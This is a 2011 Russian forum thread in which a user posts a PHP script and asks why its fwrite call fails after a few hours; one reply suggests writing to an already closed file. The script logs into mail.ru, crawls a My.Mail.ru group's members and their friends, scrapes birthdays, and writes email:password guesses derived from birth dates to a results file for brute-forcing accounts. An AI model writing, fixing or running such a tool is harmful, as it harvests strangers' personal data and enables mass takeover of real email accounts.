странная ошибка fopen()

Discussion in 'PHP' started by colorist, 11 Jun 2011.

  1. colorist

    colorist Member

    Joined:
    22 Jun 2009
    Messages:
    0
    Likes Received:
    12
    Reputations:
    15
    странная ошибка fwrite()

    PHP:
    <?PHP
    @set_time_limit(0);
    include(
    'curl.php');

    ///////////////////////////////////SETTINGS///////////////////////////////////////
    $sart_page 3;
    $page 1740;
    $group_url "путь к группе в моем мире";
    $user "логин";
    $pass "пасс";
    $result "result.txt";

    /////////////////////////////////////////////////////////////////////////////////
    $fpr fopen($result,"a+");


    $mref "http://www.mail.ru/";
    //login
    $url_r "http://games.mail.ru/mru/auth/login?login=$user&password=$pass&foreign=";
    $gref "http://games.mail.ru/";
    $login get_res($url_r,$gref);

    //collect users info
    for ($i $sart_page$i <= $page;$i++) 
    {



    //get pages with users
    $url_1 $group_url."friends?&sort=&page=$i";
    $res_1 get_res($url_1,$mref);
    $mref $url_1;


    //parse users url
    preg_match_all('#\<a\shref\=\"(.*?)"\>\<i\sid\=\"best_friend_avatar#',$res_1,$m_url);

    foreach (
    $m_url[1] as $u_url){
    echo 
    $u_url."</br>";
    flush();
        
        
    //get count of friends
    $fr_cres get_res($u_url,$url_1); 
        
    preg_match_all('#\<\/a\>\<span\sclass\=\"h2span\smr2\"\>(.*?)\<\/span\>\<\/h2\>#',$fr_cres,$frc);
        foreach(
    $frc[1] as $count)
        {
        
    $fr_count$count;
            echo 
    "friends count is ".$fr_count."</br>";
        }
        if (
    $fr_count <= 20){
        
    $kol 1;
            }else{
        
        
    $kol floor($fr_count/20);
        }
        
        
        
    //user url
    for ($v 1$v <= $kol;$v++)
    {    
    $uf_url $u_url."friends?page=".$v;
        
        
    $res_2 get_res($uf_url,$uf_url);
        
        
        
        
        
        
    //parse friends url
        
    preg_match_all('#style\=\"background-image\:\surl\(http\:\/\/avt\.foto\.mail\.ru\/(.*?)\/_avatar\?#',$res_2,$mu_url);
        foreach (
    $mu_url[1] as $fr_url)
        {
        
    //echo "friend url is - ".$fr_url."</br>";
        //get user page
        
    $ffr_url "http://my.mail.ru/".$fr_url;
        
    //echo "friend full url is".$ffr_url."</br>";
        
    $fr_page get_res($ffr_url,$u_url);
        
    //echo $fr_page." dfdfdfdf";
        //parse birhday
        
            
    preg_match_all('#\s\((.*?)\)\,\s\<a\shref\=\"http\:\/\/horo\.mail\.ru\/zodiac\/#',$fr_page,$fr_b);
            foreach(
    $fr_b[1] as $birh)
            {
            
    //echo "birhday is ".$birh."</br>";
                
    $part_pss explode("."$birh);
                
    $pss $part_pss[0].$part_pss[1].$part_pss[2];
                
    $minus $part_pss[2]-1900;
                
    $pss_c =  $part_pss[0].$part_pss[1].$minus;
                
    //echo "part 0 ".$part_pss[0]."</br>";
                
    $part_mail explode("/",$fr_url);
                
    $full_mail $part_mail[1]."@".$part_mail[0].".ru";
                echo 
    "mail + pass -".$full_mail.":".$pss."</br>";
                
    flush();
                
    $real $full_mail.":".$pss;
                
    $real1 $full_mail.":".$pss_c;
                
    //$real2 = $full_mail.":".$pss_c."a";
                
                
    fwrite($fpr,$real."\r\n");
                
    fwrite($fpr,$real1."\r\n");
                
    //fwrite($fpr,$real2."\r\n");
                
            
    }
            
            
            
            
        
        }
        
        
    }
        
        
        
        
        
        
        
    }
    fclose($fpr); 
    fclose($fpy); 

    }
    ?>
    Вот такой скрипт работает 3-4 часа нормально, на денвере после чего вылазит ошибка

    Warning: fwrite(): 4 is not a valid stream resource in Z:\home\localhost\www\mail.php
    on line 101

    и соответственно в файл ничего не пишет, почему такое происходит хз, гугл ответов не дает ((, есть какие нибудь идеи?

    // Gifts: Оформляйте код в тег
    PHP:
    [/COLOR]
     
    #1 colorist, 11 Jun 2011
    Last edited by a moderator: 11 Jun 2011
  2. Chaak

    Chaak Elder - Старейшина

    Joined:
    1 Jun 2008
    Messages:
    1,059
    Likes Received:
    1,067
    Reputations:
    80
    Ты случаем не записываешь в закрытый файл? Проверь концы циклов и fclos'ы